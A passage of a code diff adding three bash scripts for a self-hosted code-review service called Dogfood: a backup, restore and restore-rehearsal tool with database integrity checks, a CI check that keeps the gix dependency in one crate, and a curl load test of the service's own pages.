| 12 | + | # > Backups: nightly `pg_dump` plus a filesystem-level snapshot of | |
| 13 | + | # > `/srv/repos`, both offsite. Test restores quarterly. Note that the database | |
| 14 | + | # > and the repo volume can drift out of sync during a restore; | |
| 15 | + | # > `dogfood-admin reindex --all` exists to reconcile them, and that recovery | |
| 16 | + | # > path should be exercised at least once before the first real user. | |
| 17 | + | # | |
| 18 | + | # `rehearse` is that exercise, and it is the reason this script exists rather | |
| 19 | + | # than a line in a runbook. It restores into a *separate* database, runs the | |
| 20 | + | # reconciling reindex against it, and checks the result — so the recovery path | |
| 21 | + | # is proven without touching production. | |
| 22 | + | # | |
| 23 | + | # The two artefacts are captured in this order, deliberately: | |
| 24 | + | # | |
| 25 | + | # 1. the repository volume, then | |
| 26 | + | # 2. the database. | |
| 27 | + | # | |
| 28 | + | # A repository object that exists on disk but not in the index is invisible and | |
| 29 | + | # fixable with `reindex`. A row that points at an object which was never captured | |
| 30 | + | # is a broken page with no recovery. Capturing storage first makes the drift fall | |
| 31 | + | # on the recoverable side. | |
| 32 | + | ||
| 33 | + | set -euo pipefail | |
| 34 | + | ||
| 35 | + | ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" | |
| 36 | + | COMPOSE=(docker compose -f "$ROOT/docker/compose.yaml") | |
| 37 | + | PG_IMAGE="postgres:17-alpine" | |
| 38 | + | VOLUME="dogfood_repos" | |
| 39 | + | ||
| 40 | + | c_red() { printf '\033[31m%s\033[0m\n' "$*" >&2; } | |
| 41 | + | c_green() { printf '\033[32m%s\033[0m\n' "$*"; } | |
| 42 | + | c_dim() { printf '\033[2m%s\033[0m\n' "$*"; } | |
| 43 | + | ||
| 44 | + | env_get() { sed -n "s/^$1=//p" "$ROOT/.env" | head -1; } | |
| 45 | + | ||
| 46 | + | require_env() { | |
| 47 | + | [[ -f "$ROOT/.env" ]] || { c_red "no .env at $ROOT/.env"; exit 1; } | |
| 48 | + | DATABASE_URL="$(env_get DATABASE_URL)" | |
| 49 | + | [[ -n "$DATABASE_URL" ]] || { c_red "DATABASE_URL is not set in .env"; exit 1; } | |
| 50 | + | } | |
| 51 | + | ||
| 52 | + | # ─── backup ────────────────────────────────────────────────────────────────── | |
| 53 | + | ||
| 54 | + | cmd_backup() { | |
| 55 | + | require_env | |
| 56 | + | local dir="${1:-$ROOT/backups/$(date -u +%Y%m%dT%H%M%SZ)}" | |
| 57 | + | mkdir -p "$dir" | |
| 58 | + | ||
| 59 | + | # 1. Repository storage first (see the note at the top). | |
| 60 | + | c_dim "snapshotting the repository volume…" | |
| 61 | + | docker run --rm \ | |
| 62 | + | -v "$VOLUME":/srv/repos:ro \ | |
| 63 | + | -v "$dir":/backup \ | |
| 64 | + | "$PG_IMAGE" \ | |
| 65 | + | tar -C /srv/repos -czf /backup/repos.tar.gz . | |
| 66 | + | ||
| 67 | + | # 2. The database. `--no-owner` and `--no-acl` so a restore does not depend | |
| 68 | + | # on the role names of the instance it came from. | |
| 69 | + | c_dim "dumping the database…" | |
| 70 | + | docker run --rm -v "$dir":/backup "$PG_IMAGE" \ | |
| 71 | + | pg_dump --no-owner --no-acl --format=custom \ | |
| 72 | + | --file=/backup/dogfood.dump "$DATABASE_URL" | |
| 73 | + | ||
| 74 | + | # A manifest, so a restore can tell what it is holding without opening it. | |
| 75 | + | cat > "$dir/manifest.txt" <<EOF | |
| 76 | + | dogfood backup | |
| 77 | + | taken_at: $(date -u +%Y-%m-%dT%H:%M:%SZ) | |
| 78 | + | host: $(hostname) | |
| 79 | + | repos_bytes: $(stat -c %s "$dir/repos.tar.gz") | |
| 80 | + | dump_bytes: $(stat -c %s "$dir/dogfood.dump") | |
| 81 | + | note: storage was captured before the database, so any drift is recoverable | |
| 82 | + | with 'dogfood-admin reindex --all'. | |
| 83 | + | EOF | |
| 84 | + | ||
| 85 | + | c_green "backup written to $dir" | |
| 86 | + | cat "$dir/manifest.txt" | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | # ─── restore ───────────────────────────────────────────────────────────────── | |
| 90 | + | ||
| 91 | + | cmd_restore() { | |
| 92 | + | require_env | |
| 93 | + | local dir="${1:?usage: backup.sh restore DIR}" | |
| 94 | + | [[ -f "$dir/dogfood.dump" && -f "$dir/repos.tar.gz" ]] \ | |
| 95 | + | || { c_red "$dir does not look like a Dogfood backup"; exit 1; } | |
| 96 | + | ||
| 97 | + | c_red "This overwrites the live database and repository volume." | |
| 98 | + | read -rp "Type RESTORE to continue: " confirm | |
| 99 | + | [[ "$confirm" == "RESTORE" ]] || { echo "aborted"; exit 1; } | |
| 100 | + | ||
| 101 | + | c_dim "stopping the stack…" | |
| 102 | + | "${COMPOSE[@]}" down | |
| 103 | + | ||
| 104 | + | c_dim "restoring the repository volume…" | |
| 105 | + | docker run --rm -v "$VOLUME":/srv/repos -v "$dir":/backup:ro "$PG_IMAGE" \ | |
| 106 | + | sh -c 'rm -rf /srv/repos/* && tar -C /srv/repos -xzf /backup/repos.tar.gz' | |
| 107 | + | ||
| 108 | + | c_dim "restoring the database…" | |
| 109 | + | docker run --rm -v "$dir":/backup:ro "$PG_IMAGE" \ | |
| 110 | + | pg_restore --clean --if-exists --no-owner --no-acl \ | |
| 111 | + | --dbname "$DATABASE_URL" /backup/dogfood.dump | |
| 112 | + | ||
| 113 | + | c_dim "starting the stack…" | |
| 114 | + | "${COMPOSE[@]}" up -d | |
| 115 | + | ||
| 116 | + | # The whole point of §10's note: after a restore the two halves may disagree, | |
| 117 | + | # and this is what reconciles them. | |
| 118 | + | c_dim "reconciling the index with storage…" | |
| 119 | + | docker compose -f "$ROOT/docker/compose.yaml" exec -T worker \ | |
| 120 | + | dogfood-admin reindex --all | |
| 121 | + | ||
| 122 | + | c_green "restore complete" | |
| 123 | + | } | |
| 124 | + | ||
| 125 | + | # ─── rehearsal ─────────────────────────────────────────────────────────────── | |
| 126 | + | ||
| 127 | + | cmd_rehearse() { | |
| 128 | + | require_env | |
| 129 | + | local dir="${1:-}" | |
| 130 | + | ||
| 131 | + | # No backup named: take one now, so the rehearsal exercises the real path | |
| 132 | + | # end to end rather than an artefact somebody prepared by hand. | |
| 133 | + | if [[ -z "$dir" ]]; then | |
| 134 | + | dir="$(mktemp -d)/backup" | |
| 135 | + | c_dim "no backup given; taking one into $dir" | |
| 136 | + | cmd_backup "$dir" >/dev/null | |
| 137 | + | fi | |
| 138 | + | ||
| 139 | + | # Not `local`: the EXIT trap below runs after this function's frame is gone, | |
| 140 | + | # and a `local` would be unbound by then — which under `set -u` turns a | |
| 141 | + | # successful rehearsal into a non-zero exit during cleanup. | |
| 142 | + | pg_name="dogfood-restore-rehearsal-$$" | |
| 143 | + | repo_vol="dogfood-rehearsal-repos-$$" | |
| 144 | + | worker_name="dogfood-rehearsal-worker-$$" | |
| 145 | + | ||
| 146 | + | cleanup() { | |
| 147 | + | c_dim "cleaning up the rehearsal environment…" | |
| 148 | + | docker rm -f "$worker_name" >/dev/null 2>&1 || true | |
| 149 | + | docker rm -f "$pg_name" >/dev/null 2>&1 || true | |
| 150 | + | docker volume rm "$repo_vol" >/dev/null 2>&1 || true | |
| 151 | + | } | |
| 152 | + | trap cleanup EXIT | |
| 153 | + | ||
| 154 | + | c_dim "starting a throwaway database…" | |
| 155 | + | docker run -d --name "$pg_name" \ | |
| 156 | + | -e POSTGRES_PASSWORD=rehearse -e POSTGRES_DB=dogfood \ | |
| 157 | + | "$PG_IMAGE" >/dev/null | |
| 158 | + | ||
| 159 | + | # Wait for it rather than sleeping a guess. | |
| 160 | + | for _ in $(seq 1 60); do | |
| 161 | + | docker exec "$pg_name" pg_isready -U postgres >/dev/null 2>&1 && break | |
| 162 | + | sleep 1 | |
| 163 | + | done | |
| 164 | + | docker exec "$pg_name" pg_isready -U postgres >/dev/null \ | |
| 165 | + | || { c_red "the rehearsal database never became ready"; exit 1; } | |
| 166 | + | ||
| 167 | + | local url="postgres://postgres:rehearse@127.0.0.1:5432/dogfood" | |
| 168 | + | ||
| 169 | + | c_dim "restoring the dump…" | |
| 170 | + | docker cp "$dir/dogfood.dump" "$pg_name":/tmp/dogfood.dump | |
| 171 | + | docker exec "$pg_name" pg_restore --clean --if-exists --no-owner --no-acl \ | |
| 172 | + | --dbname "$url" /tmp/dogfood.dump | |
| 173 | + | ||
| 174 | + | c_dim "restoring the repository volume…" | |
| 175 | + | docker volume create "$repo_vol" >/dev/null | |
| 176 | + | docker run --rm -v "$repo_vol":/srv/repos -v "$dir":/backup:ro "$PG_IMAGE" \ | |
| 177 | + | tar -C /srv/repos -xzf /backup/repos.tar.gz | |
| 178 | + | ||
| 179 | + | # ── the checks that make this a rehearsal rather than a copy ────────────── | |
| 180 | + | c_dim "checking the restored database…" | |
| 181 | + | ||
| 182 | + | local checks_failed=0 | |
| 183 | + | check() { | |
| 184 | + | local label="$1" sql="$2" | |
| 185 | + | local out | |
| 186 | + | out="$(docker exec "$pg_name" psql -tAX -U postgres -d dogfood -c "$sql" 2>&1 | tr -d '[:space:]')" | |
| 187 | + | if [[ "$out" == "t" || "$out" == "0" ]]; then | |
| 188 | + | printf ' \033[32m✓\033[0m %s\n' "$label" | |
| 189 | + | else | |
| 190 | + | printf ' \033[31m✗\033[0m %s (got: %s)\n' "$label" "$out" | |
| 191 | + | checks_failed=$((checks_failed + 1)) | |
| 192 | + | fi | |
| 193 | + | } | |
| 194 | + | ||
| 195 | + | check "schema is present" \ | |
| 196 | + | "SELECT to_regclass('public.repos') IS NOT NULL" | |
| 197 | + | check "migrations are recorded" \ | |
| 198 | + | "SELECT count(*) = 0 FROM _sqlx_migrations WHERE NOT success" | |
| 199 | + | check "no change points at a missing repository" \ | |
| 200 | + | "SELECT count(*) FROM changes c LEFT JOIN repos r ON r.id = c.repo_id WHERE r.id IS NULL" | |
| 201 | + | check "no revision points at a missing change" \ | |
| 202 | + | "SELECT count(*) FROM revisions v LEFT JOIN changes c ON c.id = v.change_id_fk WHERE c.id IS NULL" | |
| 203 | + | check "no comment is anchored to a missing revision" \ | |
| 204 | + | "SELECT count(*) FROM comments m | |
| 205 | + | WHERE m.anchor_revision IS NOT NULL | |
| 206 | + | AND NOT EXISTS (SELECT 1 FROM revisions v WHERE v.id = m.anchor_revision)" | |
| 207 | + | ||
| 208 | + | # Every repository row must have storage behind it. This is the drift §10 | |
| 209 | + | # warns about, and the one the reindex exists to reconcile. | |
| 210 | + | c_dim "checking that every repository row has storage…" | |
| 211 | + | local missing=0 total=0 | |
| 212 | + | while read -r id; do | |
| 213 | + | [[ -n "$id" ]] || continue | |
| 214 | + | total=$((total + 1)) | |
| 215 | + | local hex="${id//-/}" | |
| 216 | + | if ! docker run --rm -v "$repo_vol":/srv/repos:ro "$PG_IMAGE" \ | |
| 217 | + | test -d "/srv/repos/${hex:0:2}/${hex}.git"; then | |
| 218 | + | missing=$((missing + 1)) | |
| 219 | + | c_dim " missing storage for repo $id" | |
| 220 | + | fi | |
| 221 | + | done < <(docker exec "$pg_name" psql -tAX -U postgres -d dogfood -c "SELECT id FROM repos") | |
| 222 | + | ||
| 223 | + | printf ' %s %d of %d repositories have storage\n' \ | |
| 224 | + | "$([[ $missing -eq 0 ]] && printf '\033[32m✓\033[0m' || printf '\033[33m!\033[0m')" \ | |
| 225 | + | "$((total - missing))" "$total" | |
| 226 | + | ||
| 227 | + | if [[ $missing -gt 0 ]]; then | |
| 228 | + | c_dim " (recoverable: 'dogfood-admin reindex --all' reconciles the index" | |
| 229 | + | c_dim " with storage, but it cannot invent objects that were not captured)" | |
| 230 | + | fi | |
| 231 | + | ||
| 232 | + | # The reconciling reindex itself, against the rehearsal environment. This is | |
| 233 | + | # the §10 recovery path, actually run — queue the work, then run a worker | |
| 234 | + | # long enough to drain it, then check that it drained cleanly. | |
| 235 | + | # | |
| 236 | + | # `--entrypoint` is required: the worker image's entrypoint is the worker | |
| 237 | + | # daemon, so passing `dogfood-admin …` as the command would start the | |
| 238 | + | # daemon with those words as arguments and never return. | |
| 239 | + | c_dim "queueing 'dogfood-admin reindex --all' against the restore…" | |
| 240 | + | if docker run --rm --network "container:$pg_name" \ | |
| 241 | + | --entrypoint dogfood-admin \ | |
| 242 | + | -v "$repo_vol":/srv/repos \ | |
| 243 | + | -e DATABASE_URL="$url" -e REPO_ROOT=/srv/repos \ | |
| 244 | + | dogfood-worker reindex --all; then | |
| 245 | + | printf ' \033[32m✓\033[0m reindex queued\n' | |
| 246 | + | else | |
| 247 | + | printf ' \033[31m✗\033[0m reindex could not be queued\n' | |
| 248 | + | checks_failed=$((checks_failed + 1)) | |
| 249 | + | fi | |
| 250 | + | ||
| 251 | + | c_dim "running a worker against the restore until the queue drains…" | |
| 252 | + | docker run -d --name "$worker_name" --network "container:$pg_name" \ | |
| 253 | + | -v "$repo_vol":/srv/repos \ | |
| 254 | + | -e DATABASE_URL="$url" -e REPO_ROOT=/srv/repos \ | |
| 255 | + | dogfood-worker >/dev/null | |
| 256 | + | ||
| 257 | + | local drained=0 | |
| 258 | + | for _ in $(seq 1 60); do | |
| 259 | + | local queued | |
| 260 | + | queued="$(docker exec "$pg_name" psql -tAX -U postgres -d dogfood \ | |
| 261 | + | -c "SELECT count(*) FROM jobs WHERE locked_at IS NULL" 2>/dev/null | tr -d '[:space:]')" | |
| 262 | + | if [[ "$queued" == "0" ]]; then drained=1; break; fi | |
| 263 | + | sleep 1 | |
| 264 | + | done | |
| 265 | + | ||
| 266 | + | local failed | |
| 267 | + | failed="$(docker exec "$pg_name" psql -tAX -U postgres -d dogfood \ | |
| 268 | + | -c "SELECT count(*) FROM jobs WHERE attempts >= max_attempts" 2>/dev/null | tr -d '[:space:]')" | |
| 269 | + | ||
| 270 | + | docker logs "$worker_name" 2>&1 | grep -E '"level":"(ERROR|WARN)"' | head -5 || true | |
| 271 | + | docker rm -f "$worker_name" >/dev/null 2>&1 || true | |
| 272 | + | ||
| 273 | + | if [[ "$drained" == "1" && "$failed" == "0" ]]; then | |
| 274 | + | printf ' \033[32m✓\033[0m the queue drained with no failed jobs\n' | |
| 275 | + | else | |
| 276 | + | printf ' \033[31m✗\033[0m reindex did not complete (drained=%s failed=%s)\n' \ | |
| 277 | + | "$drained" "$failed" | |
| 278 | + | checks_failed=$((checks_failed + 1)) | |
| 279 | + | fi | |
| 280 | + | ||
| 281 | + | echo | |
| 282 | + | if [[ $checks_failed -eq 0 ]]; then | |
| 283 | + | c_green "restore rehearsal passed — this backup is restorable" | |
| 284 | + | else | |
| 285 | + | c_red "restore rehearsal FAILED $checks_failed check(s)" | |
| 286 | + | exit 1 | |
| 287 | + | fi | |
| 288 | + | } | |
| 289 | + | ||
| 290 | + | case "${1:-}" in | |
| 291 | + | backup) shift; cmd_backup "$@" ;; | |
| 292 | + | restore) shift; cmd_restore "$@" ;; | |
| 293 | + | rehearse) shift; cmd_rehearse "$@" ;; | |
| 294 | + | *) | |
| 295 | + | sed -n '2,30p' "${BASH_SOURCE[0]}" | sed 's/^# \{0,1\}//' | |
| 296 | + | exit 1 | |
| 297 | + | ;; | |
| 298 | + | esac | |
Ascripts/check-store-boundary.sh+62−0
| @@ −0,0 +1,62 @@ | |||
| 1 | + | #!/usr/bin/env bash | |
| 2 | + | # | |
| 3 | + | # Enforce spec §3 rule 1: "No crate other than `df-store` may depend on `gix`. | |
| 4 | + | # Add this to CI as a dependency check." | |
| 5 | + | # | |
| 6 | + | # The whole value of the RepoStore abstraction is that swapping in a jj-native | |
| 7 | + | # backend later touches one crate. That guarantee is worth exactly as much as | |
| 8 | + | # this check — the moment a second crate reaches for `gix`, the boundary is | |
| 9 | + | # gone and nobody notices until the migration. | |
| 10 | + | ||
| 11 | + | set -euo pipefail | |
| 12 | + | ||
| 13 | + | ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" | |
| 14 | + | FAIL=0 | |
| 15 | + | ||
| 16 | + | echo "==> checking the df-store boundary" | |
| 17 | + | ||
| 18 | + | # 1. Only df-store may declare gix as a dependency. | |
| 19 | + | while IFS= read -r manifest; do | |
| 20 | + | crate="$(basename "$(dirname "$manifest")")" | |
| 21 | + | [[ "$crate" == "df-store" ]] && continue | |
| 22 | + | ||
| 23 | + | if grep -qE '^\s*gix\s*[=.]|^\s*gix\s*=\s*\{' "$manifest"; then | |
| 24 | + | echo " FAIL: $crate declares a dependency on gix ($manifest)" | |
| 25 | + | FAIL=1 | |
| 26 | + | fi | |
| 27 | + | done < <(find "$ROOT/crates" -name Cargo.toml) | |
| 28 | + | ||
| 29 | + | # 2. Only df-store may name gix in its source. | |
| 30 | + | while IFS= read -r file; do | |
| 31 | + | case "$file" in | |
| 32 | + | "$ROOT"/crates/df-store/*) continue ;; | |
| 33 | + | esac | |
| 34 | + | if grep -nE '(^|[^A-Za-z_])gix::|extern crate gix' "$file" >/dev/null 2>&1; then | |
| 35 | + | echo " FAIL: $(realpath --relative-to="$ROOT" "$file") references gix::" | |
| 36 | + | grep -nE '(^|[^A-Za-z_])gix::|extern crate gix' "$file" | head -3 | sed 's/^/ /' | |
| 37 | + | FAIL=1 | |
| 38 | + | fi | |
| 39 | + | done < <(find "$ROOT/crates" -name '*.rs') | |
| 40 | + | ||
| 41 | + | # 3. RevId must stay opaque: nothing outside df-store may slice or measure it. | |
| 42 | + | # Spec §3 rule 2 — "do not parse it, do not assume it is 40 hex characters, | |
| 43 | + | # do not abbreviate it outside df-store." | |
| 44 | + | while IFS= read -r file; do | |
| 45 | + | case "$file" in | |
| 46 | + | "$ROOT"/crates/df-store/*) continue ;; | |
| 47 | + | esac | |
| 48 | + | if grep -nE '\.as_str\(\)\s*\[|rev\s*\[\s*\.\.|\.rev\.as_str\(\)\[' "$file" >/dev/null 2>&1; then | |
| 49 | + | echo " FAIL: $(realpath --relative-to="$ROOT" "$file") appears to slice a RevId" | |
| 50 | + | FAIL=1 | |
| 51 | + | fi | |
| 52 | + | done < <(find "$ROOT/crates" -name '*.rs') | |
| 53 | + | ||
| 54 | + | if [[ $FAIL -eq 0 ]]; then | |
| 55 | + | echo " ok — gix is confined to df-store, RevId is opaque" | |
| 56 | + | else | |
| 57 | + | echo | |
| 58 | + | echo "The storage boundary exists so that moving to a jj-native backend is a" | |
| 59 | + | echo "swap of one implementation rather than a rewrite. Route what you need" | |
| 60 | + | echo "through the RepoStore trait instead." | |
| 61 | + | exit 1 | |
| 62 | + | fi | |
Ascripts/loadtest.sh+162−0
| @@ −0,0 +1,162 @@ | |||
| 1 | + | #!/usr/bin/env bash | |
| 2 | + | # | |
| 3 | + | # Dogfood — load test against a large repository (spec §11, M6). | |
| 4 | + | # | |
| 5 | + | # > load test against a large repository (use the Linux kernel or the jj repo | |
| 6 | + | # > itself) | |
| 7 | + | # | |
| 8 | + | # ./scripts/loadtest.sh [URL] [CONCURRENCY] [DURATION_SECONDS] | |
| 9 | + | # | |
| 10 | + | # What this measures, and why these three things: | |
| 11 | + | # | |
| 12 | + | # * **Cold browse.** Tree and blob pages on a large repository, with the | |
| 13 | + | # highlight cache empty. This is the worst case the cache exists to remove, | |
| 14 | + | # and the number to compare against the warm run. | |
| 15 | + | # * **Warm browse.** The same pages again. If warm is not dramatically faster | |
| 16 | + | # than cold, the highlight cache is not working, which is the §8 performance | |
| 17 | + | # mistake spelled out by name. | |
| 18 | + | # * **The change list.** Spec §4 calls it "the hottest page in the product", | |
| 19 | + | # and it is the one that reads precomputed stack edges rather than walking | |
| 20 | + | # the commit graph — so a regression there is a regression in that decision. | |
| 21 | + | # | |
| 22 | + | # It drives the *public* HTTP surface with curl, so it measures what a user | |
| 23 | + | # experiences rather than what a benchmark harness inside the process would. | |
| 24 | + | ||
| 25 | + | set -euo pipefail | |
| 26 | + | ||
| 27 | + | URL="${1:-https://dogfood.sh}" | |
| 28 | + | CONCURRENCY="${2:-8}" | |
| 29 | + | DURATION="${3:-20}" | |
| 30 | + | ||
| 31 | + | c_green() { printf '\033[32m%s\033[0m\n' "$*"; } | |
| 32 | + | c_dim() { printf '\033[2m%s\033[0m\n' "$*"; } | |
| 33 | + | c_red() { printf '\033[31m%s\033[0m\n' "$*" >&2; } | |
| 34 | + | ||
| 35 | + | command -v curl >/dev/null || { c_red "curl is required"; exit 1; } | |
| 36 | + | ||
| 37 | + | # ─── pick a target ─────────────────────────────────────────────────────────── | |
| 38 | + | ||
| 39 | + | # The repository to hammer. Overridable, because "a large repository" is | |
| 40 | + | # whatever the instance actually has — the point is that it is large, not that | |
| 41 | + | # it is a particular one. | |
| 42 | + | REPO_PATH="${DF_LOADTEST_REPO:-}" | |
| 43 | + | ||
| 44 | + | # A file inside that repository with a grammar behind it, so the cold/warm | |
| 45 | + | # comparison actually measures highlighting. A path that does not exist would | |
| 46 | + | # 404 in microseconds and make the cache look infinitely fast. | |
| 47 | + | BLOB_PATH="${DF_LOADTEST_BLOB:-/blob/main/README.md}" | |
| 48 | + | ||
| 49 | + | if [[ -z "$REPO_PATH" ]]; then | |
| 50 | + | c_red "Set DF_LOADTEST_REPO to a repository path, e.g. DF_LOADTEST_REPO=/dogfood/linux" | |
| 51 | + | echo | |
| 52 | + | echo "Import one first:" | |
| 53 | + | echo " jj git clone --colocate https://github.com/jj-vcs/jj /tmp/jj" | |
| 54 | + | echo " cd /tmp/jj && jj git remote add dogfood $URL/<owner>/jj.git && jj git push --all" | |
| 55 | + | exit 1 | |
| 56 | + | fi | |
| 57 | + | ||
| 58 | + | # ─── helpers ───────────────────────────────────────────────────────────────── | |
| 59 | + | ||
| 60 | + | # One sample per line: seconds, then status. | |
| 61 | + | # | |
| 62 | + | # The newline is part of the same write. Several workers append to one file | |
| 63 | + | # concurrently, and a write short enough to be atomic keeps their lines from | |
| 64 | + | # interleaving — which is why this is not `curl … && echo`. | |
| 65 | + | timed() { | |
| 66 | + | curl -s -o /dev/null -w '%{time_total} %{http_code}\n' --max-time 60 "$1" | |
| 67 | + | } | |
| 68 | + | ||
| 69 | + | # Drive one path with N workers for D seconds; print count, error count, and the | |
| 70 | + | # p50/p95/p99 of the response times. | |
| 71 | + | # | |
| 72 | + | # Percentiles rather than a mean: spec §10 says to alert on push latency p99, and | |
| 73 | + | # a mean hides exactly the tail that matters on a large repository. | |
| 74 | + | hammer() { | |
| 75 | + | local label="$1" path="$2" | |
| 76 | + | local tmp | |
| 77 | + | tmp="$(mktemp)" | |
| 78 | + | ||
| 79 | + | local deadline=$((SECONDS + DURATION)) | |
| 80 | + | for _ in $(seq 1 "$CONCURRENCY"); do | |
| 81 | + | ( | |
| 82 | + | while [[ $SECONDS -lt $deadline ]]; do | |
| 83 | + | timed "$URL$path" >> "$tmp" || true | |
| 84 | + | done | |
| 85 | + | ) & | |
| 86 | + | done | |
| 87 | + | wait | |
| 88 | + | ||
| 89 | + | # Percentiles are computed over *successful* requests only. A 429 returns in | |
| 90 | + | # microseconds, so mixing them in would report a rate-limited run as the | |
| 91 | + | # fastest one — the opposite of the truth. | |
| 92 | + | local total ok throttled failed | |
| 93 | + | total="$(wc -l < "$tmp")" | |
| 94 | + | ok="$(awk '$2 == 200' "$tmp" | wc -l)" | |
| 95 | + | throttled="$(awk '$2 == 429' "$tmp" | wc -l)" | |
| 96 | + | failed=$((total - ok - throttled)) | |
| 97 | + | ||
| 98 | + | # `asort` is a gawk extension the default Debian `mawk` does not have, so | |
| 99 | + | # sorting happens in sort(1) and awk only indexes. | |
| 100 | + | awk '$2 == 200 { print $1 * 1000 }' "$tmp" | sort -n | awk \ | |
| 101 | + | -v label="$label" -v ok="$ok" -v throttled="$throttled" -v failed="$failed" ' | |
| 102 | + | { t[NR] = $1 } | |
| 103 | + | END { | |
| 104 | + | n = NR | |
| 105 | + | if (n == 0) { | |
| 106 | + | printf "%-22s ok=0 throttled=%-5d failed=%-4d (no successful samples)\n", | |
| 107 | + | label, throttled, failed | |
| 108 | + | exit | |
| 109 | + | } | |
| 110 | + | i50 = int(n * 0.50); if (i50 < 1) i50 = 1 | |
| 111 | + | i95 = int(n * 0.95); if (i95 < 1) i95 = 1 | |
| 112 | + | i99 = int(n * 0.99); if (i99 < 1) i99 = 1 | |
| 113 | + | printf "%-22s ok=%-6d throttled=%-5d failed=%-4d p50=%7.1fms p95=%7.1fms p99=%7.1fms\n", | |
| 114 | + | label, ok, throttled, failed, t[i50], t[i95], t[i99] | |
| 115 | + | } | |
| 116 | + | ' | |
| 117 | + | ||
| 118 | + | rm -f "$tmp" | |
| 119 | + | } | |
| 120 | + | ||
| 121 | + | # ─── run ───────────────────────────────────────────────────────────────────── | |
| 122 | + | ||
| 123 | + | echo "Dogfood load test" | |
| 124 | + | echo " target $URL$REPO_PATH" | |
| 125 | + | echo " concurrency $CONCURRENCY" | |
| 126 | + | echo " duration ${DURATION}s per phase" | |
| 127 | + | echo | |
| 128 | + | ||
| 129 | + | # Reachability first, so a typo in the URL fails in one second rather than after | |
| 130 | + | # four phases of zeros. | |
| 131 | + | code="$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 "$URL$REPO_PATH" || true)" | |
| 132 | + | [[ "$code" == "200" ]] || { c_red "$URL$REPO_PATH returned $code — is it public?"; exit 1; } | |
| 133 | + | ||
| 134 | + | c_dim "phase 1: cold browse (highlight cache may be empty)" | |
| 135 | + | hammer "tree (cold)" "$REPO_PATH" | |
| 136 | + | hammer "blob (cold)" "$REPO_PATH$BLOB_PATH" | |
| 137 | + | ||
| 138 | + | c_dim "phase 2: warm browse (same pages, cache populated)" | |
| 139 | + | hammer "tree (warm)" "$REPO_PATH" | |
| 140 | + | hammer "blob (warm)" "$REPO_PATH$BLOB_PATH" | |
| 141 | + | ||
| 142 | + | c_dim "phase 3: the hottest page (spec §4)" | |
| 143 | + | hammer "change list" "$REPO_PATH/changes" | |
| 144 | + | hammer "change list (all)" "$REPO_PATH/changes?state=all" | |
| 145 | + | ||
| 146 | + | c_dim "phase 4: history and bookmarks" | |
| 147 | + | hammer "log" "$REPO_PATH/log?limit=100" | |
| 148 | + | hammer "bookmarks" "$REPO_PATH/bookmarks" | |
| 149 | + | ||
| 150 | + | echo | |
| 151 | + | c_green "done" | |
| 152 | + | echo | |
| 153 | + | echo "What to look for:" | |
| 154 | + | echo " · blob (warm) should be several times faster than blob (cold). If it is" | |
| 155 | + | echo " not, the highlight cache is not being hit — spec §8 calls that 'the" | |
| 156 | + | echo " easiest performance mistake to make here'." | |
| 157 | + | echo " · throttled > 0 is the rate limiter working as designed (spec §9): every" | |
| 158 | + | echo " request here comes from one address, so at concurrency ${CONCURRENCY} it will" | |
| 159 | + | echo " engage. Percentiles above are over successful requests only." | |
| 160 | + | echo " · failed > 0 is a real problem — a timeout or a 5xx." | |
| 161 | + | echo " · the change list should not degrade with repository size — it reads" | |
| 162 | + | echo " precomputed stack edges, never the commit graph (spec §4)." | |